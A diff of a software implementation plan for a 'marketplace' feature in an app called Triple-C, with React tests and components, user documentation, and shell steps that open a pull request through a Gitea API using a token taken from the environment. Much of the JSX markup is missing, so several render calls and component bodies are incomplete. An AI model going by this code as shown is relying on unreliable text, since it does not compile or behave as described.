    +     + ); +} +``` + +Run: `cd app && npx vitest run src/components/marketplace/GhContainerLoginModal.test.tsx` +Expected: PASS. + +- [ ] **Step 3: Failing test for AddAccountModal** + +`app/src/components/marketplace/AddAccountModal.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; +import { useAppState } from "../../store/appState"; +import type { Project } from "../../lib/types"; + +const marketplaceGhHostAvailable = vi.fn(); +const addMarketplaceGhHostAccount = vi.fn(); +const addMarketplaceTokenAccount = vi.fn(); +const getSettings = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + marketplaceGhHostAvailable: () => marketplaceGhHostAvailable(), + addMarketplaceGhHostAccount: (...a: unknown[]) => addMarketplaceGhHostAccount(...a), + addMarketplaceTokenAccount: (...a: unknown[]) => addMarketplaceTokenAccount(...a), + getSettings: () => getSettings(), +})); +vi.mock("./GhContainerLoginModal", () => ({ + default: ({ projectId }: { projectId: string }) =>
    container login for {projectId}
    , +})); + +import AddAccountModal from "./AddAccountModal"; + +const running = { id: "p1", name: "api", status: "running", container_id: "c1" } as unknown as Project; + +describe("AddAccountModal", () => { + beforeEach(() => { + vi.clearAllMocks(); + getSettings.mockResolvedValue({ marketplace_accounts: [] }); + useAppState.setState({ projects: [running], toasts: [] }); + }); + + it("uses host gh when available", async () => { + marketplaceGhHostAvailable.mockResolvedValue(true); + addMarketplaceGhHostAccount.mockResolvedValue({ id: "a1" }); + const onClose = vi.fn(); + render(); + expect(await screen.findByText(/gh is installed on this computer/)).toBeInTheDocument(); + fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Personal" } }); + fireEvent.click(screen.getByRole("button", { name: "Add account" })); + await waitFor(() => expect(addMarketplaceGhHostAccount).toHaveBeenCalledWith("Personal", "github.com")); + await waitFor(() => expect(onClose).toHaveBeenCalled()); + }); + + it("falls back to gh in a running container", async () => { + marketplaceGhHostAvailable.mockResolvedValue(false); + render(); + expect(await screen.findByLabelText("Run gh in")).toBeInTheDocument(); + fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Work" } }); + fireEvent.click(screen.getByRole("button", { name: "Sign in" })); + expect(screen.getByText("container login for p1")).toBeInTheDocument(); + }); + + it("adds a token account for any host", async () => { + marketplaceGhHostAvailable.mockResolvedValue(false); + addMarketplaceTokenAccount.mockResolvedValue({ id: "a2" }); + render(); + fireEvent.click(await screen.findByRole("radio", { name: "Access token" })); + fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Gitea" } }); + fireEvent.change(screen.getByLabelText("Host"), { target: { value: "repo.anhonesthost.net" } }); + fireEvent.change(screen.getByLabelText("Token"), { target: { value: "test-token-not-real" } }); + fireEvent.click(screen.getByRole("button", { name: "Add account" })); + await waitFor(() => + expect(addMarketplaceTokenAccount).toHaveBeenCalledWith("Gitea", "repo.anhonesthost.net", "test-token-not-real"), + ); + }); + + it("shows a validation error from the backend", async () => { + marketplaceGhHostAvailable.mockResolvedValue(false); + addMarketplaceTokenAccount.mockRejectedValue("The token was rejected by repo.anhonesthost.net (HTTP 401)"); + render(); + fireEvent.click(await screen.findByRole("radio", { name: "Access token" })); + fireEvent.change(screen.getByLabelText("Label"), { target: { value: "G" } }); + fireEvent.change(screen.getByLabelText("Host"), { target: { value: "repo.anhonesthost.net" } }); + fireEvent.change(screen.getByLabelText("Token"), { target: { value: "test-token-not-real" } }); + fireEvent.click(screen.getByRole("button", { name: "Add account" })); + expect(await screen.findByText(/HTTP 401/)).toBeInTheDocument(); + }); +}); +``` + +(`SegmentedControl` segments are `role="radio"`.) + +Run: `cd app && npx vitest run src/components/marketplace/AddAccountModal.test.tsx` +Expected: FAIL — module not found. + +- [ ] **Step 4: Implement AddAccountModal** + +`app/src/components/marketplace/AddAccountModal.tsx`: + +```tsx +import { useEffect, useState } from "react"; +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import SegmentedControl from "../ui/SegmentedControl"; +import Field, { inputClass, selectClass } from "../ui/Field"; +import { + addMarketplaceGhHostAccount, + addMarketplaceTokenAccount, + getSettings, + marketplaceGhHostAvailable, +} from "../../lib/tauri-commands"; +import { useAppState } from "../../store/appState"; +import GhContainerLoginModal from "./GhContainerLoginModal"; + +type Method = "gh" | "token"; + +interface Props { + onClose: () => void; +} + +export default function AddAccountModal({ onClose }: Props) { + const projects = useAppState((s) => s.projects); + const setAppSettings = useAppState((s) => s.setAppSettings); + const runnable = projects.filter((p) => p.status === "running" && p.container_id); + + const [method, setMethod] = useState("gh"); + const [hostGh, setHostGh] = useState(null); + const [label, setLabel] = useState(""); + const [host, setHost] = useState("github.com"); + const [token, setToken] = useState(""); + const [projectId, setProjectId] = useState(runnable[0]?.id ?? ""); + const [busy, setBusy] = useState(false); + const [error, setError] = useState(null); + const [containerLogin, setContainerLogin] = useState(false); + + useEffect(() => { + let cancelled = false; + marketplaceGhHostAvailable() + .then((v) => { + if (!cancelled) setHostGh(v); + }) + .catch(() => { + if (!cancelled) setHostGh(false); + }); + return () => { + cancelled = true; + }; + }, []); + + const reloadSettings = async () => setAppSettings(await getSettings()); + + const finish = async () => { + await reloadSettings(); + onClose(); + }; + + const submit = async () => { + setError(null); + if (method === "gh" && !hostGh) { + setContainerLogin(true); + return; + } + setBusy(true); + try { + if (method === "gh") { + await addMarketplaceGhHostAccount(label.trim(), host.trim()); + } else { + const t = token.trim(); + setToken(""); + await addMarketplaceTokenAccount(label.trim(), host.trim(), t); + } + await finish(); + } catch (e) { + setError(typeof e === "string" ? e : String(e)); + } finally { + setBusy(false); + } + }; + + const hostValid = /^[A-Za-z0-9.-]+(:[0-9]+)?$/.test(host.trim()); + const needsContainer = method === "gh" && hostGh === false; + const canSubmit = + !busy && + hostGh !== null && + label.trim() !== "" && + hostValid && + (method === "gh" ? !needsContainer || projectId !== "" : token.trim() !== ""); + + if (containerLogin) { + const project = runnable.find((p) => p.id === projectId); + return ( + void finish()} + /> + ); + } + + return ( + + + + + } + > +
    + + label="Sign-in method" + value={method} + onChange={(m) => { + setMethod(m); + setError(null); + }} + segments={[ + { value: "gh", label: "GitHub via gh" }, + { value: "token", label: "Access token" }, + ]} + /> + + {(id) => ( + setLabel(e.target.value)} className={inputClass} placeholder="Work GitHub" /> + )} + + + {(id) => setHost(e.target.value)} className={inputClass} />} + + {method === "gh" && hostGh === true && ( +

    + gh is installed on this computer. Triple-C asks it for a token each time it fetches, so signing out of gh + also signs this account out. If gh is not logged in yet, run gh auth login first. +

    + )} + {needsContainer && + (runnable.length === 0 ? ( +

    + gh is not installed on this computer. Start a project so gh can run in its container, or use an access token. +

    + ) : ( + + {(id) => ( + + )} + + ))} + {method === "token" && ( + + {(id) => ( + setToken(e.target.value)} + className={inputClass} + /> + )} + + )} + {error &&

    {error}

    } +
    +     + ); +} +``` + +Run: `cd app && npx vitest run src/components/marketplace/AddAccountModal.test.tsx` +Expected: PASS. + +- [ ] **Step 5: Failing test for AccountsPane** + +`app/src/components/marketplace/AccountsPane.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; +import { useAppState } from "../../store/appState"; +import type { AppSettings } from "../../lib/types"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +const testMarketplaceAccount = vi.fn(); +const removeMarketplaceAccount = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + testMarketplaceAccount: (id: string) => testMarketplaceAccount(id), + removeMarketplaceAccount: (id: string) => removeMarketplaceAccount(id), +})); +vi.mock("./AddAccountModal", () => ({ default: () =>
    add account modal
    })); + +import AccountsPane from "./AccountsPane"; + +const settings = { + marketplace_accounts: [ + { id: "a1", label: "Personal", host: "github.com", method: "gh_host", username: "me" }, + { id: "a2", label: "Gitea", host: "repo.example.com", method: "token", username: "jk" }, + ], + marketplaces: [{ id: "m1", name: "Team", url: "https://repo.example.com/t/m.git", branch: null, account_id: "a2" }], + global_marketplace_installs: [], +} as unknown as AppSettings; + +describe("AccountsPane", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ appSettings: settings, toasts: [] }); + }); + + it("lists accounts with their method and usage", () => { + render(); + expect(screen.getByText("Personal")).toBeInTheDocument(); + expect(screen.getByText(/gh on this computer/)).toBeInTheDocument(); + expect(screen.getByText(/Used by Team/)).toBeInTheDocument(); + }); + + it("tests an account", async () => { + testMarketplaceAccount.mockResolvedValue("me"); + render(); + fireEvent.click(screen.getByRole("button", { name: "Test Personal" })); + await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" })); + expect(useAppState.getState().toasts[0].message).toContain("me"); + }); + + it("confirms before removing an account in use, then removes", async () => { + removeMarketplaceAccount.mockResolvedValue({ ...settings, marketplace_accounts: [settings.marketplace_accounts[0]] }); + render(); + fireEvent.click(screen.getByRole("button", { name: "Remove Gitea" })); + expect(screen.getByText(/Team will be fetched without credentials/)).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Remove account" })); + await waitFor(() => expect(removeMarketplaceAccount).toHaveBeenCalledWith("a2")); + await waitFor(() => expect(useAppState.getState().appSettings!.marketplace_accounts).toHaveLength(1)); + }); + + it("opens the add dialog", () => { + render(); + fireEvent.click(screen.getByRole("button", { name: "Add account" })); + expect(screen.getByText("add account modal")).toBeInTheDocument(); + }); +}); +``` + +Run: `cd app && npx vitest run src/components/marketplace/AccountsPane.test.tsx` +Expected: FAIL — stub pane has no list. + +- [ ] **Step 6: Implement AccountsPane** + +`app/src/components/marketplace/AccountsPane.tsx` (replaces the Task 12 stub): + +```tsx +import { useState } from "react"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import { useAppState } from "../../store/appState"; +import { removeMarketplaceAccount, testMarketplaceAccount } from "../../lib/tauri-commands"; +import type { AccountMethod, MarketplaceAccount } from "../../lib/types"; +import Button from "../ui/Button"; +import Modal from "../ui/Modal"; +import AddAccountModal from "./AddAccountModal"; + +const METHOD_LABEL: Record = { + gh_host: "GitHub — gh on this computer", + gh_container: "GitHub — signed in via container", + token: "Access token", +}; + +export default function AccountsPane(_props: { mp: MarketplaceApi }) { + const appSettings = useAppState((s) => s.appSettings); + const setAppSettings = useAppState((s) => s.setAppSettings); + const pushToast = useAppState((s) => s.pushToast); + const [adding, setAdding] = useState(false); + const [confirmRemove, setConfirmRemove] = useState(null); + const [testing, setTesting] = useState(null); + + const accounts = appSettings?.marketplace_accounts ?? []; + const marketplaces = appSettings?.marketplaces ?? []; + const usedBy = (id: string) => marketplaces.filter((m) => m.account_id === id).map((m) => m.name); + + const test = async (a: MarketplaceAccount) => { + setTesting(a.id); + try { + const login = await testMarketplaceAccount(a.id); + pushToast({ kind: "success", message: `${a.label} works — signed in as ${login}` }); + } catch (e) { + pushToast({ kind: "error", message: `${a.label} could not sign in`, detail: String(e) }); + } finally { + setTesting(null); + } + }; + + const remove = async (a: MarketplaceAccount) => { + setConfirmRemove(null); + try { + setAppSettings(await removeMarketplaceAccount(a.id)); + } catch (e) { + pushToast({ kind: "error", message: `Could not remove ${a.label}`, detail: String(e) }); + } + }; + + return ( +
    +
    +

    + Accounts are used to fetch private marketplaces. Tokens are kept in your OS keychain and never enter + containers. +

    + +
    + {accounts.length === 0 &&

    No accounts yet. Public repositories need none.

    } +
      + {accounts.map((a) => { + const users = usedBy(a.id); + return ( +
    • +
      +

      {a.label}

      +

      + {METHOD_LABEL[a.method]} · {a.host} + {a.username ? ` · ${a.username}` : ""} +

      + {users.length > 0 &&

      Used by {users.join(", ")}

      } +
      +
      + + +
      +
      • + ); + })} +
    + {adding && setAdding(false)} />} + {confirmRemove && ( + setConfirmRemove(null)} + footer={ + <> + + + + } + > +

    + {usedBy(confirmRemove.id).join(", ")} will be fetched without credentials, which fails for private + repositories. Installed items keep syncing from the cached copy. +

    +     + )} +
    + ); +} +``` + +- [ ] **Step 7: Run and commit** + +Run: `cd app && npx vitest run src/components/marketplace && npx tsc --noEmit -p .` +Expected: PASS, no type errors. + +```bash +cd /workspace/triple-c && git add app/src/components/marketplace && git commit -qm "Marketplace UI: accounts — gh on host, gh in a container, access tokens + +Co-Authored-By: Claude Opus 5.5 " +``` + +--- + +### Task 16: Project Home → Config → Marketplace section + +**Files:** +- Create: `app/src/components/projects/home/config/MarketplaceSection.tsx` +- Create: `app/src/components/projects/home/config/MarketplaceSection.test.tsx` +- Modify: `app/src/components/projects/home/ConfigTab.tsx` (import + render after `RuntimeSection`) + +**Interfaces:** +- Consumes: `effectiveInstalls`, `KIND_LABELS`, `formatItemRef` (Task 12); wrappers `setGlobalItemDisabled`, `getMarketplaceSyncReport`; store `appSettings`, `openMarketplace`, `updateProjectInList`, `pushToast`; `ConfigGroup` from `ui/Field`, `Toggle`. +- Produces: `MarketplaceSection({ project })` default export. + +Opting out is allowed while the container runs (it only changes what the next sync installs), so this section is not disabled by `STOPPED_ONLY`. It saves through `setGlobalItemDisabled` (which returns the updated `Project`), not through `save()`, because `update_project` is the stopped-only path. + +- [ ] **Step 1: Failing test** + +`app/src/components/projects/home/config/MarketplaceSection.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor, within } from "@testing-library/react"; +import { useAppState, MARKETPLACE_TAB_KEY } from "../../../../store/appState"; +import type { AppSettings, Project } from "../../../../lib/types"; + +const setGlobalItemDisabled = vi.fn(); +const getMarketplaceSyncReport = vi.fn(); +vi.mock("../../../../lib/tauri-commands", () => ({ + setGlobalItemDisabled: (...a: unknown[]) => setGlobalItemDisabled(...a), + getMarketplaceSyncReport: (id: string) => getMarketplaceSyncReport(id), +})); + +import MarketplaceSection from "./MarketplaceSection"; + +const A = "a".repeat(40); +const project = { + id: "p1", + name: "api", + status: "running", + marketplace_installs: [{ marketplace_id: "m1", kind: "command", key: "cmd", commit: A }], + marketplace_disabled: [{ marketplace_id: "m1", kind: "hook", key: "noisy" }], +} as unknown as Project; + +describe("MarketplaceSection", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ + tabOrder: [], + activeTabKey: null, + projects: [project], + toasts: [], + appSettings: { + marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }], + marketplace_accounts: [], + global_marketplace_installs: [ + { marketplace_id: "m1", kind: "agent", key: "rev", commit: A }, + { marketplace_id: "m1", kind: "hook", key: "noisy", commit: A }, + ], + } as unknown as AppSettings, + }); + getMarketplaceSyncReport.mockResolvedValue({ + installed: ["agent:rev"], + updated: [], + removed: [], + skipped: [{ item: "command:cmd", reason: "a file you created has the same name" }], + errors: [], + finished_at: "2026-09-27T12:00:00Z", + }); + }); + + it("shows effective items with their source and the opted-out global item", async () => { + render(); + const rev = screen.getByTestId("mp-global-agent-rev"); + expect(within(rev).getByRole("switch")).toBeChecked(); + const noisy = screen.getByTestId("mp-global-hook-noisy"); + expect(within(noisy).getByRole("switch")).not.toBeChecked(); + expect(screen.getByTestId("mp-project-command-cmd")).toHaveTextContent("This project only"); + expect(await screen.findByText(/a file you created has the same name/)).toBeInTheDocument(); + }); + + it("opts out of a global item", async () => { + setGlobalItemDisabled.mockResolvedValue({ ...project, marketplace_disabled: [] }); + render(); + fireEvent.click(within(screen.getByTestId("mp-global-agent-rev")).getByRole("switch")); + await waitFor(() => + expect(setGlobalItemDisabled).toHaveBeenCalledWith("p1", { marketplace_id: "m1", kind: "agent", key: "rev" }, true), + ); + }); + + it("opens the Marketplace filtered to this project", () => { + render(); + fireEvent.click(screen.getByRole("button", { name: "Open in Marketplace" })); + expect(useAppState.getState().activeTabKey).toBe(MARKETPLACE_TAB_KEY); + expect(useAppState.getState().marketplaceFilterProjectId).toBe("p1"); + }); +}); +``` + +(`Toggle` is `role="switch"` with `aria-checked`, so `toBeChecked()` works on it.) + +Run: `cd app && npx vitest run src/components/projects/home/config/MarketplaceSection.test.tsx` +Expected: FAIL — module not found. + +- [ ] **Step 2: Implement MarketplaceSection** + +`app/src/components/projects/home/config/MarketplaceSection.tsx`: + +```tsx +import { useEffect, useState } from "react"; +import { ConfigGroup } from "../../../ui/Field"; +import Toggle from "../../../ui/Toggle"; +import Button from "../../../ui/Button"; +import { useAppState } from "../../../../store/appState"; +import { KIND_LABELS } from "../../../../lib/marketplace"; +import { getMarketplaceSyncReport, setGlobalItemDisabled } from "../../../../lib/tauri-commands"; +import type { MarketplaceItemRef, Project, SyncReport } from "../../../../lib/types"; + +interface Props { + project: Project; +} + +const kindWord = (k: MarketplaceItemRef["kind"]) => KIND_LABELS[k].replace(/s$/, "").toLowerCase(); +const same = (a: MarketplaceItemRef, b: MarketplaceItemRef) => + a.marketplace_id === b.marketplace_id && a.kind === b.kind && a.key === b.key; + +export default function MarketplaceSection({ project }: Props) { + const appSettings = useAppState((s) => s.appSettings); + const openMarketplace = useAppState((s) => s.openMarketplace); + const updateProjectInList = useAppState((s) => s.updateProjectInList); + const pushToast = useAppState((s) => s.pushToast); + const [report, setReport] = useState(null); + const [busy, setBusy] = useState(null); + + const globalInstalls = appSettings?.global_marketplace_installs ?? []; + const nameOf = (id: string) => appSettings?.marketplaces.find((m) => m.id === id)?.name ?? "removed marketplace"; + + useEffect(() => { + let cancelled = false; + getMarketplaceSyncReport(project.id) + .then((r) => { + if (!cancelled) setReport(r); + }) + .catch(() => { + if (!cancelled) setReport(null); + }); + return () => { + cancelled = true; + }; + }, [project.id, project.status]); + + const toggleGlobal = async (ref: MarketplaceItemRef, enabled: boolean) => { + const id = `${ref.kind}-${ref.key}`; + setBusy(id); + try { + updateProjectInList(await setGlobalItemDisabled(project.id, ref, !enabled)); + } catch (e) { + pushToast({ kind: "error", message: `Could not change ${ref.key} for “${project.name}”`, detail: String(e) }); + } finally { + setBusy(null); + } + }; + + return ( + +
    + {globalInstalls.length > 0 && ( +
    +

    From “All projects”

    +
      + {globalInstalls.map((g) => { + const shadowed = project.marketplace_installs.some((p) => same(p, g)); + const enabled = !project.marketplace_disabled.some((d) => same(d, g)); + return ( +
    • + + {g.key}{" "} + + {kindWord(g.kind)} · {nameOf(g.marketplace_id)} + {shadowed ? " · overridden by this project's own install" : ""} + + + void toggleGlobal({ marketplace_id: g.marketplace_id, kind: g.kind, key: g.key }, v)} + /> +
      • + ); + })} +
    +
    + )} + {project.marketplace_installs.length > 0 && ( +
    +

    This project only

    +
      + {project.marketplace_installs.map((i) => ( +
    • + {i.key}{" "} + + {kindWord(i.kind)} · {nameOf(i.marketplace_id)} · This project only + +
      • + ))} +
    +
    + )} + {globalInstalls.length === 0 && project.marketplace_installs.length === 0 && ( +

    Nothing installed from a marketplace.

    + )} + + {report && ( +
    +

    + Last sync {report.finished_at ? new Date(report.finished_at).toLocaleString() : ""} +

    +

    + {report.installed.length} installed · {report.updated.length} updated · {report.removed.length} removed +

    + {report.skipped.map((s) => ( +

    + Skipped {s.item}: {s.reason} +

    + ))} + {report.errors.map((e) => ( +

    + {e} +

    + ))} +
    + )} + + +
    +     + ); +} +``` + +`updateProjectInList: (project: Project) => void` (`store/appState.ts:121`) replaces the project in the store. + +In `app/src/components/projects/home/ConfigTab.tsx` add `import MarketplaceSection from "./config/MarketplaceSection";` and, after the `` element: + +```tsx + +``` + +- [ ] **Step 3: Run and commit** + +Run: `cd app && npx vitest run src/components/projects/home && npx tsc --noEmit -p .` +Expected: PASS, no type errors. + +```bash +cd /workspace/triple-c && git add app/src/components/projects/home && git commit -qm "Project Config: Marketplace section with per-project opt-out and last sync report + +Co-Authored-By: Claude Opus 5.5 " +``` + +--- + +### Task 17: Docs, full verification, end-to-end check, PR + +**Files:** +- Modify: `CLAUDE.md` (new `### Marketplace` subsection under Key Conventions, after the new-window capability rule, around line 646) +- Modify: `HOW-TO-USE.md` (new `## Marketplace` section; place it after the section that covers Claude authentication / settings — find with `grep -n '^## ' HOW-TO-USE.md`) + +**Interfaces:** +- Consumes: everything from Tasks 1–16. +- Produces: an open Gitea PR from `feat/marketplace` into `main`. + +- [ ] **Step 1: CLAUDE.md subsection** + +Add: + +```markdown +### Marketplace + +- Code: models in `models/marketplace.rs`; host-side logic in `src/marketplace/` (`git.rs` gix cache + pins, `catalog.rs` repo format, `auth.rs` credentials, `gh_login.rs`, `payload.rs`, `sync.rs`); commands in `commands/marketplace_commands.rs`; UI in `components/marketplace/` and `projects/home/config/MarketplaceSection.tsx`. Spec: `docs/superpowers/specs/2026-09-27-marketplace-design.md`. +- **Tokens never enter containers.** Marketplaces are fetched on the host into `/triple-c/marketplaces/.git`; containers only ever receive a tar of pinned files. Do not add a code path that passes a marketplace credential into an exec, env var, label or file in a container. +- **Sync model:** after every container start (next to `sync_bedrock_credentials`) and on "Apply now", the host builds the project's effective set (`global − disabled ∪ project`), uploads it, and runs the constant script `/usr/local/bin/triple-c-marketplace-sync` (source `container/marketplace-sync.sh`) as `claude`. The script only removes files and hook entries it recorded in `~/.claude/triple-c/marketplace/state.json`; it must never overwrite or delete user-created agents/skills/commands or user hooks. A sync failure must not fail the container start. +- Installs are **pinned** to a commit; nothing updates without the user accepting a diff. Pinned commits are kept alive by `refs/triple-c/pins/*` in the cache. +- Marketplace changes need no container labels or recreation — they are applied by the sync, not at create time. +``` + +- [ ] **Step 2: HOW-TO-USE.md section** + +```markdown +## Marketplace + +The marketplace installs Claude Code **agents, skills, commands, hooks and plugins** from git repositories into your containers. + +1. **Settings → Marketplace → Open Marketplace** opens the Marketplace tab. +2. **Add a marketplace**: on the Browse tab choose *Add marketplace* and enter an HTTPS clone URL, for example `https://github.com/shadowdao/triple-c-marketplace.git`. For a private repository, pick an account (see below). Triple-C checks it can read the repository before saving. +3. **Install**: select an item to see what it contains. Turn on **All projects** to install it everywhere (including projects you add later), or tick individual projects. A project can opt out of an "All projects" item by unticking it, or from **Project → Config → Marketplace**. +4. **Hooks** run shell commands, so Triple-C shows every command before installing one. +5. **When it applies**: on the container's next start, or straight away for running containers with **Installed → Apply now**. New Claude sessions pick it up; sessions already open keep what they loaded. + +**Updates.** Every install is pinned to the commit it came from. When an item changes in its repository, the Installed tab shows *Update available*. Review the diff and accept to move the pin. + +**Accounts (private repositories).** On the Accounts tab: +- *GitHub via gh* — if the GitHub CLI is installed and logged in on this computer, Triple-C uses it. If not, it runs `gh auth login` inside a running project's container and keeps only the resulting token in your OS keychain. +- *Access token* — any host (GitHub, Gitea, GitLab). The token is stored in your OS keychain. + +Credentials never enter containers. If a private repository in a GitHub organisation cannot be read, the error explains the usual causes: the org has not approved the GitHub CLI, the token is not authorised for the org's SSO, or a fine-grained token belongs to a different owner. + +**If an item is skipped**: Triple-C never overwrites an agent, skill or command file you created yourself. If one has the same name as a marketplace item, the sync skips it and the project's Config → Marketplace section says so. +``` + +- [ ] **Step 3: Full automated verification** + +Run each and record the result: + +```bash +cd /workspace/triple-c/app && npx vitest run +``` +Expected: all test files pass (previous count 75 files / 978 tests plus the new marketplace tests), including `src/test/capabilities.test.ts`. + +```bash +cd /workspace/triple-c/app && npm run build +``` +Expected: TypeScript and Vite build succeed. + +```bash +cd /workspace/triple-c/app/src-tauri && cargo test --lib +``` +Expected: all tests pass (previously 677 passed; now more). The sync-script tests skip only where `jq` is missing. + +```bash +cd /workspace/triple-c/app/src-tauri && cargo clippy --lib 2>&1 | grep -E "src/(marketplace|models/marketplace|commands/marketplace_commands)" -A6 +``` +Expected: no output (no clippy warnings in new files). Fix any that appear. + +```bash +cd /workspace/triple-c && for f in $(git diff --name-only main... -- 'app/src-tauri/src/**/*.rs'); do rustfmt --edition 2021 --check "$f" >/dev/null 2>&1 || echo "needs fmt: $f"; done +``` +Expected: no `needs fmt` lines for files created by this branch (pre-existing files may already be unformatted on `main`; only fix what this branch added). + +- [ ] **Step 4: Commit docs** + +```bash +cd /workspace/triple-c && git add CLAUDE.md HOW-TO-USE.md && git commit -qm "Docs: marketplace + +Co-Authored-By: Claude Opus 5.5 " +``` + +- [ ] **Step 5: Push and open the PR** + +```bash +cd /workspace/triple-c && git push -q -u origin feat/marketplace +``` + +Build the body with python3 and post it with `$TEA_TOKEN` (never echo the token): + +```bash +cd /workspace/triple-c && S=/tmp/claude-1000/-workspace/f70b4bb0-c929-434b-af28-62cc3705211a/scratchpad && python3 - <<'EOF' > $S/pr-marketplace.json +import json +body = """## Summary +Adds a Triple-C **marketplace**: git repositories of agents, skills, commands, hooks and plugins that can be installed for all projects or per project. + +- Settings → Marketplace section and a full-width Marketplace tab (Browse / Installed / Accounts). +- Hybrid repo format: `agents/`, `skills/`, `commands/`, `hooks/` managed by Triple-C; `plugins/` is a standard Claude Code marketplace installed with `claude plugin`. +- Host-side fetch with `gix` into a bare cache; installs pinned to commits, per-item update detection with a diff review. +- Named accounts: GitHub via host `gh`, GitHub via `gh` in a container (token kept in the keychain, not the container), or an access token for any host. Tokens never enter containers. +- Sync after every container start and on Apply now: constant script in the image, idempotent, never touches user-created files or hooks; failures never block a start. +- Project Home → Config → Marketplace: effective items, per-project opt-out, last sync report. +- Also: the shared-auth button row in Settings now wraps (Check snapshot images no longer overflows). + +Spec: `docs/superpowers/specs/2026-09-27-marketplace-design.md` · Plan: `docs/superpowers/plans/2026-09-27-marketplace.md` +Starter marketplace: https://github.com/shadowdao/triple-c-marketplace + +## Testing +- `npx vitest run`, `npm run build`, `cargo test --lib` all pass (see CI). +- Manual end-to-end on the preview build: see checklist below. + +## Manual end-to-end checklist +- [ ] Add `https://github.com/shadowdao/triple-c-marketplace.git` (no account); all five items listed. +- [ ] Install each kind for All projects; start a project; each appears in a new Claude session (`/agents`, skills, `/example-command`, Stop hook rings, `/plugin` lists example-plugin). +- [ ] Install an item for one project only; a second project does not get it. +- [ ] Opt a project out of a global item from Config → Marketplace; Apply now; it is removed there only. +- [ ] Push a change to the starter repo; Refresh; only that item shows Update available; diff shows the change; accept; Apply now. +- [ ] Create `~/.claude/agents/code-reviewer.md` by hand in a container; sync skips it with a conflict; the file is unchanged. +- [ ] Add a user hook to `~/.claude/settings.json`; install/uninstall the marketplace hook; the user hook is untouched. +- [ ] Hook install shows the confirm dialog with the rendered command. +- [ ] Private repo via an access token; private repo via gh (host, and via container on a machine without gh). +- [ ] Offline refresh keeps the cached items and shows the error; container start still succeeds. + +🤖 Generated with [Claude Code](https://claude.com/claude-code) +""" +print(json.dumps({"title": "Marketplace for agents, skills, commands, hooks and plugins", "head": "feat/marketplace", "base": "main", "body": body})) +EOF +curl -s -X POST -H "Authorization: token $TEA_TOKEN" -H "Content-Type: application/json" \ + --data @$S/pr-marketplace.json \ + https://repo.anhonesthost.net/api/v1/repos/CyberCoveLLC/Triple-C/pulls \ + | python3 -c "import json,sys;d=json.load(sys.stdin);print(d.get('number'), d.get('html_url'), d.get('message'))" +``` +Expected: a PR number and URL, message `None`. + +- [ ] **Step 6: Wait for CI and run the manual checklist** + +Check CI on the PR head (the preview build must be green before the manual run): + +```bash +cd /workspace/triple-c && SHA=$(git rev-parse HEAD) && curl -s -H "Authorization: token $TEA_TOKEN" \ + https://repo.anhonesthost.net/api/v1/repos/CyberCoveLLC/Triple-C/commits/$SHA/status \ + | python3 -c "import json,sys;d=json.load(sys.stdin);print(d['state']);[print(' ',s['context'],s['status']) for s in d['statuses']]" +``` +Expected: `success` once all jobs finish (`pending` while running). Then hand the manual checklist in the PR body to the user for the preview build; tick items as they are confirmed. Do not merge until the user has run it and asked for the merge. diff --git a/docs/superpowers/specs/2026-09-27-marketplace-design.md b/docs/superpowers/specs/2026-09-27-marketplace-design.md index d2cef3d..1475107 100644 --- a/docs/superpowers/specs/2026-09-27-marketplace-design.md +++ b/docs/superpowers/specs/2026-09-27-marketplace-design.md @@ -46,8 +46,10 @@ publishing to a marketplace from inside Triple-C, a separate OS window for the m Container user is addressed as `"claude"`. Constant-script + env-data rule: header of `commands/inspect_commands.rs`. - `container/entrypoint.sh` merges `CLAUDE_CODE_SETTINGS_JSON` into `~/.claude/settings.json` - (≈:408-447), then runs `claude update` under `flock /tmp/.triple-c-claude-update.lock` - (≈:649) and prints `Triple-C container ready.` (≈:654). Nothing marks readiness on disk today. + (≈:408-447), runs `claude update` under `flock /tmp/.triple-c-claude-update.lock` (≈:649), + prints `Triple-C container ready.` and execs `su -s /bin/bash claude -c "exec sleep infinity"` + (≈:654-655). Nothing marks readiness on disk; that final process is the observable signal + (verified on a live container, where `jq`, `flock` and `tar` are also present). - `commands/inspect_commands.rs` `list_container_capabilities` already inventories agents, skills, commands, hooks and plugins in a container (read-only); `CapabilityTiles.tsx` shows it. - The container image has `gh`, `git`, `jq`. Claude Code 2.1.283 supports @@ -205,10 +207,13 @@ settings link for each. The sync is idempotent; no container labels or recreation are involved. A container reset wipes the volumes and the next start re-syncs. -**Readiness.** `entrypoint.sh` writes `/tmp/.triple-c-ready` just before printing -`Triple-C container ready.`. The sync polls for it (up to 180 s) so it never races the -entrypoint's settings.json merge or `claude update`. Plugin commands additionally run under -`flock /tmp/.triple-c-claude-update.lock`. +**Readiness.** The entrypoint's last act is `exec su -s /bin/bash claude -c "exec sleep infinity"`, +so that process existing means the settings.json merge and `claude update` are done. The sync polls +`pgrep -x -f 'su -s /bin/bash claude -c exec sleep infinity'` (up to 180 s) before touching +anything. No entrypoint change is needed, which matters: image and entrypoint changes reach an +existing project only through a base-image migration or a Reset (CLAUDE.md "`/home/claude` in the +image is seed-only" and the VPN notes), so a marker written by a new entrypoint would never appear +in existing projects. Plugin commands additionally run under `flock /tmp/.triple-c-claude-update.lock`. **Payload.** The host builds one tar of the effective set, read from the cache at each pin: @@ -219,9 +224,12 @@ plugins//… # each at its own pin manifest.json # effective set: kind, key, marketplace, commit, hook JSON ``` -uploaded to `~/.claude/triple-c/marketplace/incoming/` and then applied by a **constant** script -(`container/marketplace-sync.sh`, baked 